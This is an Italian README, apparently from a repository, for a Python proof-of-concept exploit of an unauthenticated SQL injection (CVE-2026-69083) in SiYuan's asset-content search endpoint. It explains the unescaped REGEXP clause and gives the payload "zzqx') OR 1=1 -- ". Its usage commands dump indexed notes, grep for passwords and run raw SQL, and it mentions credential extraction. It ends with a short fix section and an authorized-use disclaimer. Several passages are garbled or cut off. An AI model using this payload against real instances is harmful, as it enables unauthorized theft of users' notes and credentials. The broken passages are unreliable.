
PoC Python per CVE-2026-69083, un'iniezione SQL non autenticata nell'endpoint di ricerca asset-content di SiYuan. Supporta l'evasione tramite REGEXP e il pass-through di SQL grezzo per estrarre gli asset indicizzati e i dati SQLite associati.
Iniezione SQL non autenticata in SiYuan (un'applicazione knowledge-base basata su Go) tramite l'endpoint di ricerca asset-content.
POST /api/search/fullTextSearchAssetContent costruisce un'istruzione SQL grezza concatenando il
valore query controllato dall'utente direttamente in una clausola REGEXP senza escaping
(kernel/model/asset_content.go, assetContentFieldRegexp):
SELECT * FROM `asset_contents_fts_case_insensitive`
WHERE (name REGEXP '<query>' OR content REGEXP '<query>') AND ext IN <types>
Un apice singolo in query fa uscire dalla stringa letterale (CWE-89). Quando SiYuan è distribuito
senza un codice access-auth (Conf.AccessAuthCode == ""), l'intero kernel tratta i chiamanti come
amministratori senza credenziali, quindi l'iniezione è completamente . è
il break-out REGEXP; passa inoltre come istruzione SQL grezza.
method:3method:2query< 3.7.36806 (non autenticata quando non è impostato alcun accessAuthCode)ATTACH DATABASE verso altri file SQLite) — ad es. estrazione di credenziali indicizzate dagli operatori nelle noteSolo libreria standard di Python 3 — nessuna dipendenza.
# dump the asset-content index (method 3 REGEXP break-out)
python3 exploit.py http://10.10.10.10:6806/
# only rows matching a keyword
python3 exploit.py http://10.10.10.10:6806/ --grep password
# method 2 raw SQL passthrough (select the 7 columns id,name,ext,path,size,updated,content)
python3 exploit.py http://10.10.10.10:6806/ \
--sql "SELECT id,name,ext,path,size,updated,content FROM asset_contents_fts_case_insensitive"
Il payload predefinito è:
query = "zzqx') OR 1=1 -- "
zzqx') chiude il gruppo (name REGEXP '...',OR 1=1 rende la clausola WHERE sempre vera,-- commenta il resto della riga, incluso il AND ext IN <types> finale — che altrimenti è
un errore di sintassi quando types è vuoto (SiYuan emette AND ext IN senza nulla
dopo, e il kernel restituisce silenziosamente zero righe su un errore SQL).L'endpoint restituisce quindi ogni riga dell'indice asset-content e lo strumento stampa il
content di ogni riga.
curl -s http://10.10.10.10:6806/system_stats # or browse http://10.10.10.10:6806/ (no login prompt)
Un'istanza SiYuan sulla porta 6806 che viene caricata senza un codice access-auth è sfruttabile.
... REGEXP ?) e protegge il percorso SQL grezzo del method-2
dietro un controllo di amministratore.--accessAuthCode; non esporlo mai senza autenticazione — senza un
codice access-auth l'intera API del kernel è aperta come amministratore.Solo per test di sicurezza autorizzati e scopi educativi. Utilizzalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test.